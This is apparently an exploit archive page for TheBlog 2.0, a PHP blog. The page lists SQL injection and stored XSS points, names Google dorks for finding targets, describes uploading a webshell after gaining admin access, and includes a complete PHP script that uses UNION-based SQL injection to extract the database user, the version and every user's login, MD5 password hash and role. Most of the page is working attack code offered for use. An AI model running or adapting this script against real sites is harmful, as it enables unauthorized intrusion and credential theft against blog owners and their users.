what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TheBlog 2.0 SQL Injection / Cross Site Scripting

TheBlog 2.0 SQL Injection / Cross Site Scripting
Posted Jun 10, 2012
Authored by WhiteCollarGroup

TheBlog version 2.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | b91874c6d73740cd56bcabc32032070ec5ae67c82fa7bb14071d31c9a6275648

TheBlog 2.0 SQL Injection / Cross Site Scripting

Change Mirror Download
<?php
# Exploit Title: TheBlog <= 2.0 SQL Injection
# Exploit author: WhiteCollarGroup
# Google Dork: intext:"TheBlog é um software livre e é distribuido sobre a licença GNU/GPL "
# Google Dork: intext:"TheBlog PHP weblogger"
# Date: 10th 06 2012
# Software Link: https://phpbrasil.com/script/JHnpFRmSBqlf/sn-news
# Software homepage: https://theblog.codigolivre.org.br/
# Version: 2.0
# Tested on: Debian GNU/Linux,Windows 7 Ultimate (Apache Server)

/*

WhiteCollarGroup
www.wcgroup.host56.com
whitecollar_group@hotmail.com
@WCollarGroup

-+-
If you will try to hack your own server for test, and will install on a MySQL >= 5, on SQL codes to insert, you must replace all:
TYPE=MyISAM
By:
ENGINE=InnoDB
-+-

We discovered multiple vulnerabilities on this system. All in index.php, vars:

~> SQL Injection
index.php?id=[sqli]
index.php?cat=[sqli]
index.php?archives=[sqli without "-"]

~> XSS Persistent (stored)
When reading a post, click "Deixe um comentário" (leave an comment).
In comment form, you have:
Nome: [XSS]
E-mail: [XSS]
Message: [XSS]
Inputs "Nome" and "E-mail" are limited to 255 max chars. Input "Message" haven't limit.
You can inject HTML and JavaScript code.

~> Arbitraty File Upload
After get admin access, on the menu, click "Upload".
Upload your webshell on the form. A link will be appears on file list ("Lista de Arquivos").

> What's this exploit?
Are a PoC for SQL Injection on "index.php?id=".
How to use:
php exploit.php <target>
Example:
php exploit.php https://target.com/blog/


EDUCATIONAL PURPOSE ONLY!
*/

error_reporting(E_ERROR);
set_time_limit(0);
ini_set("default_socket_timeout", 30);

function hex($string){
$hex=''; // PHP 'Dim' =]
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return '0x'.$hex;
}


echo "TheBlog <= 2.0 SQL Injection exploit\n";
echo "Discovered and written by WhiteCollarGroup\n";
echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com\n\n";

if($argc!=2) {
echo "Usage: \n";
echo "php $argv[0] <target url>\n";
echo "Example:\n";
echo "php $argv[0] https://www.website.com/blog\n";
exit;
}

$target = $argv[1];
if(substr($target, (strlen($target)-1))!="/") {
$target .= "/";
}

$inject = $target . "index.php?id=".urlencode("-0' ");

echo "[*] Trying to get informations...\n";
$token = uniqid();
$token_hex = hex($token);

// https://localhost/cms/theblog/theblog2-0/index.php?id=-62%27%20UNION%20ALL%20SELECT%201,2,3,4,5,concat%28login,0x3c3d3e,senha,0x3c3d3e,nivel%29,7,8,9,10,11,12,13%20from%20theblog_users%20LIMIT%200,1--+

$infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,user(),$token_hex,version(),$token_hex),7,8,9,10,11,12,13-- "));
$infos_r = array();

preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
$user = $infos_r[1][0];
$version = $infos_r[2][0];
if($user) {
echo "[!] MySQL version: $version\n";
echo "[!] MySQL user: $user\n";
} else {
echo "[-] Error while getting informations.\n";
}

echo "[*] Getting users...\n";
$i = 0;
while(true) {
$dados_r = array();
$dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,5,concat($token_hex,login,$token_hex,senha,$token_hex,nivel,$token_hex),7,8,9,10,11,12,13 FROM theblog_users LIMIT $i,1-- "));
preg_match_all("/$token(.*)$token(.*)$token(.*)$token/", $dados, $dados_r);
$login = $dados_r[1][0];
$senha = $dados_r[2][0];
$nivel = $dados_r[3][0];
if(($login) OR ($senha) OR ($nivel)) {
echo " -+-\n";
echo " User: $login\n"
." Pass (MD5): $senha\n"
." Level: ".($nivel=="1" ? "admin" : "poster")."\n";
$i++;
} else {
break;
}
}

if($i!=0) {
echo "[!] Admin login: {$target}admin.php\n";
} else {
echo "[-] Exploit failed. Make sure that's server is using a valid version of TheBlog without Apache mod_security.\nWe're sorry.\n";
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close